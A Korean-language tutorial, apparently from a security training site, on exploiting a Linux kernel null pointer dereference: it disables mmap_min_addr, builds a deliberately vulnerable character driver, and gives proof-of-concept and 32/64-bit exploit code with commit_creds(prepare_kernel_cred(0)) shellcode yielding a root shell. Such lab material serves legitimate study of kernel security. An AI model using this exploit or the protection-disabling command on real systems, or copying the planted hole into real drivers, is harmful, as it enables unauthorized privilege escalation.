Excuse the ads! We need some help to keep our site up.
List
Null pointer dereference
- Null pointer dereference란 프로그램에서 유효한 영역으로 예상되는 포인터(주소영역)을 역참조할 때 발생하는 취약성입니다.
- 대부분 포인터의 주소가 Null(0x0)일 경우 발생합니다.
- 이러한 취약성은 C, C++, Java, C#, Objective-C, 등 다양한 프로그래밍 언어에서 발견될 수 있습니다.
- 해당 취약성에 의해 악용가능한 형태는 대부분 DoS이며, 매우 드문 환경에서 코드 또는 명령어 실행이 가능합니다.
Null pointer dereference
0-address protection
- 0-address protection은 커널과 사용자 공간이 가상 메모리 주소를 공유하기 때문에 사용자 공간 mmap'd 메모리가 주소 0에서 시작할 수 없도록 "NULL" 메모리 공간을 보호해줍니다.
- 0-address protection으로 인해 "NULL dereference" 커널 공격을 방어 할 수 있습니다.
- 0-address protection은 2.6.22 커널에서 가능하며 sysctl 명령어를 이용하여 mmap_min_addr로 보호 영역의 크기를 설정할 수 있습니다.
- 우분투 9.04 이후, mmap_min_addr 설정은 커널에 내장되어 있습니다. (x86의 경우 64k, ARM의 경우 32k)
lazenca0x0@ubuntu:~$ sysctl vm.mmap_min_addr vm.mmap_min_addr = 65536 lazenca0x0@ubuntu:~$
lazenca0x0@ubuntu:~$ sudo sysctl -w vm.mmap_min_addr="0" vm.mmap_min_addr = 0 lazenca0x0@ubuntu:~$
0-address protection
Example
Source code of module
- 해당 코드는 04.Creating a kernel module to privilege escalation 의 escalation.c 코드를 일부 수정하였으며, 변경된 코드는 다음과 같습니다.
Null pointer dereference를 구현하기 위해 포인터 함수를 선언합니다.
void (*myFunPtr)(void);
해당 함수는 chardev_write() 함수에서 호출하고 종료됩니다.
- myFunPtr 함수를 호출하기 전에 해당 함수에 별도의 값이 설정되지 않았기 때문에, myFunPtr함수를 호출하게되면 0x0 영역을 호출하게 됩니다.
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); struct file_operations chardev_fops = { .release = chardev_release, .write = chardev_write, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } void (*myFunPtr)(void); static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { myFunPtr(); return count; } module_init(chardev_init); module_exit(chardev_exit);
Build & Setting
obj-m := chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ make make -C /lib/modules/4.2.0-27-generic/build M=/home/lazenca0x0/Kernel/Exploit/Null modules make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic' CC [M] /home/lazenca0x0/Kernel/Exploit/Null/chardev.o Building modules, stage 2. MODPOST 1 modules CC /home/lazenca0x0/Kernel/Exploit/Null/chardev.mod.o LD [M] /home/lazenca0x0/Kernel/Exploit/Null/chardev.ko make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic' lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Proof of Concept
PoC code
- 다음 코드를 이용하여 "Null pointer dereference" 취약성을 확인할 수 있습니다.
- mmap() 함수를 이용하여 0x0 영역에 읽기,쓰기,실행이 가능한 영역을 매핑합니다.
- memcpy() 함수를 이용하여 0x0 영역에 payload 변수의 값을 복사합니다.
- payload 변수에는 call 명령어를 이용하여 "0xdeadbeef" 영역을 호출하는 shellcode가 저장되어 있습니다.
- open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 엽니다.
- write() 함수를 이용하여 chardev_write() 함수가 호출 되도록 합니다.
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); close(fd); }else{ printf("Failed to open file.\n"); } return 0; }
Debug
- chardev_write() 함수의 디버기을 위해 다음과 같이 커널의 주소를 확인합니다.
- chardev_write() 함수의 주소는 0xf9dac000 입니다.
- 해당 주소로 Breakpoint를 설정하고 poc 프로그램을 실행합니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo cat /proc/kallsyms |grep chardev f9dac000 t chardev_write [chardev] f9dac020 t chardev_release [chardev] f9dac060 t chardev_init [chardev] f9dae2dc b chardev_major [chardev] f9dae2a0 b chardev_cdev [chardev] f9dae284 b __key.24587 [chardev] f9dae284 b chardev_class [chardev] f9dac1a0 t chardev_exit [chardev] f9dae280 b myFunPtr [chardev] f9dae080 d __this_module [chardev] f9dae000 d chardev_fops [chardev] f9dac1a0 t cleanup_module [chardev] f9dac060 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Continuing. ^C Program received signal SIGINT, Interrupt. 0xc10548d5 in ?? () (gdb) b *0xf9dac000 Breakpoint 1 at 0xf9dac000 (gdb) c Continuing.
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o poc poc.c poc.c: In function ‘main’: poc.c:22:5: warning: null argument where non-null required (argument 1) [-Wnonnull] memcpy(0, payload, sizeof(payload)); ^ lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./poc [*] Mapped zero page.
다음과 같이 "Null pointer dereference" 취약성을 확인할 수 있습니다.
chardev_write() 함수가 호출되면 call 명령어에 의해 0xf9dae280 영역에 저장된 주소를 호출합니다.
0xf9dae280 영역에 저장된 값은 0x0 이며, call 명령어에 의해 0x0 영역이 호출됩니다.
poc 프로그램에서는 0x0 영역에 call 명령어를 이용하여 0xdeadbeef 영역을 호출하는 shellcode를 저장되어 있으며, 해당 코드는 정상적으로 실행됩니다.
Breakpoint 1, 0xf9dac000 in ?? () (gdb) x/10i $eip => 0xf9dac000: push ebp 0xf9dac001: mov ebp,esp 0xf9dac003: push ebx 0xf9dac004: lea esi,ds:[esi+eiz*1+0x0] 0xf9dac009: mov ebx,ecx 0xf9dac00b: call DWORD PTR ds:0xf9dae280 0xf9dac011: mov eax,ebx 0xf9dac013: pop ebx 0xf9dac014: pop ebp 0xf9dac015: ret (gdb) b *0xf9dac00b Breakpoint 2 at 0xf9dac00b (gdb) c Continuing. Breakpoint 2, 0xf9dac00b in ?? () (gdb) x/i $eip => 0xf9dac00b: call DWORD PTR ds:0xf9dae280 (gdb) x/wx 0xf9dae280 0xf9dae280: 0x00000000 (gdb) si 0x00000000 in irq_stack_union () (gdb) x/2i $eip => 0x0 <irq_stack_union>: call 0xdeadbeef 0x5 <irq_stack_union+5>: add BYTE PTR [eax],al (gdb) si 0xdeadbeef in ?? () (gdb) i r eip eip 0xdeadbeef 0xdeadbeef (gdb)
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
권한상승을 위한 shellcode를 구현합니다.
prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
구현된 shellcode를 0x0 영역에 저장합니다.
"Null pointer dereference" 취약성을 이용하여 0x0 영역의 코드를 실행합니다.
유저 프로그램에서 system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
- 공격을 위해 알아야 할 정보는 다음과 같습니다.
- prepare_kernel_cred() 함수의 주소
- commit_creds() 함수의 주소
Find the address of a kernel function
다음과 같이 commit_creds, prepare_kernel_cred 함수의 주소를 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep commit_creds /proc/kallsyms c1082b60 T commit_creds c19cd2cc R __ksymtab_commit_creds c19dc868 r __kcrctab_commit_creds c19e5f9b r __kstrtab_commit_creds lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep prepare_kernel_cred /proc/kallsyms c1082e20 T prepare_kernel_cred c19d16e4 R __ksymtab_prepare_kernel_cred c19dea74 r __kcrctab_prepare_kernel_cred c19e5f5f r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Generate Shellcode - 32bit
- 다음과 같이 권한 상승 shellcode를 생성할 수 있습니다.
//commit_creds(prepare_kernel_cred(0)) xor %eax,%eax call 0xc1082e20 call 0xc1082b60 ret
- 다음과 같이 shellcode를 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o asm asm.s -nostdlib -Ttext=0 -N /usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000000000 lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm asm: file format elf32-i386 Disassembly of section .text: 00000000 <__bss_start-0xd>: 0: 31 c0 xor %eax,%eax 2: e8 19 2e 08 c1 call c1082e20 <_end+0xc1082e10> 7: e8 54 2b 08 c1 call c1082b60 <_end+0xc1082b50> c: c3 ret lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Generate Shellcode - 64bit
- 64bit의 경우 32bit와 조금 다른 부분이 있습니다.
- 첫번째 인자 값인 rdi 값을 초기화 합니다.
- prepare_kernel_cred() 함수 호출 후 리턴된 값을 rdi레지스터에 저장합니다.
- xchg %rdi,%rax
//commit_creds(prepare_kernel_cred(0)) xor %rdi, %rdi call 0xffffffff8109da40 xchg %rdi,%rax call 0xffffffff8109d760 ret
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm asm: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <__bss_start-0x10>: 0: 48 31 ff xor %rdi,%rdi 3: e8 38 da 09 81 callq ffffffff8109da40 <__bss_start+0xffffffff8109da30> 8: 48 97 xchg %rax,%rdi a: e8 51 d7 09 81 callq ffffffff8109d760 <__bss_start+0xffffffff8109d750> f: c3 retq lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Exploit code
32bit
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\x31\xc0\xe8\x19\x2e\x08\xc1\xe8\x54\x2b\x08\xc1\xc3"; int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); system("sh"); }else{ printf("Failed to open file.\n"); } return 0; }
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./test [*] Mapped zero page. # id uid=0(root) gid=0(root) groups=0(root) # uname -a Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux #
64bit
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\x48\x31\xff\xe8\x38\xda\x09\x81\x48\x97\xe8\x51\xd7\x09\x81\xc3"; int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); system("/bin/sh"); }else{ printf("Failed to open file.\n"); } return 0; }
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./poc [*] Mapped zero page. # id uid=0(root) gid=0(root) groups=0(root) # uname -a Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux #
References
- https://terms.naver.com/entry.nhn?docId=854177&cid=42346&categoryId=42346
- https://cwe.mitre.org/data/definitions/476.html
- https://0x00sec.org/t/kernel-exploitation-dereferencing-a-null-pointer/3850
- https://www.owasp.org/index.php/Null_Dereference
- https://en.wikipedia.org/wiki/Null_pointer
- https://wiki.ubuntu.com/Security/Features - 0-address protection
- https://wiki.debian.org/mmap_min_addr
- http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20x86%20kernel%20exploit%20step%20by%20step%20%3A%20null%20pointer%20dereference.pdf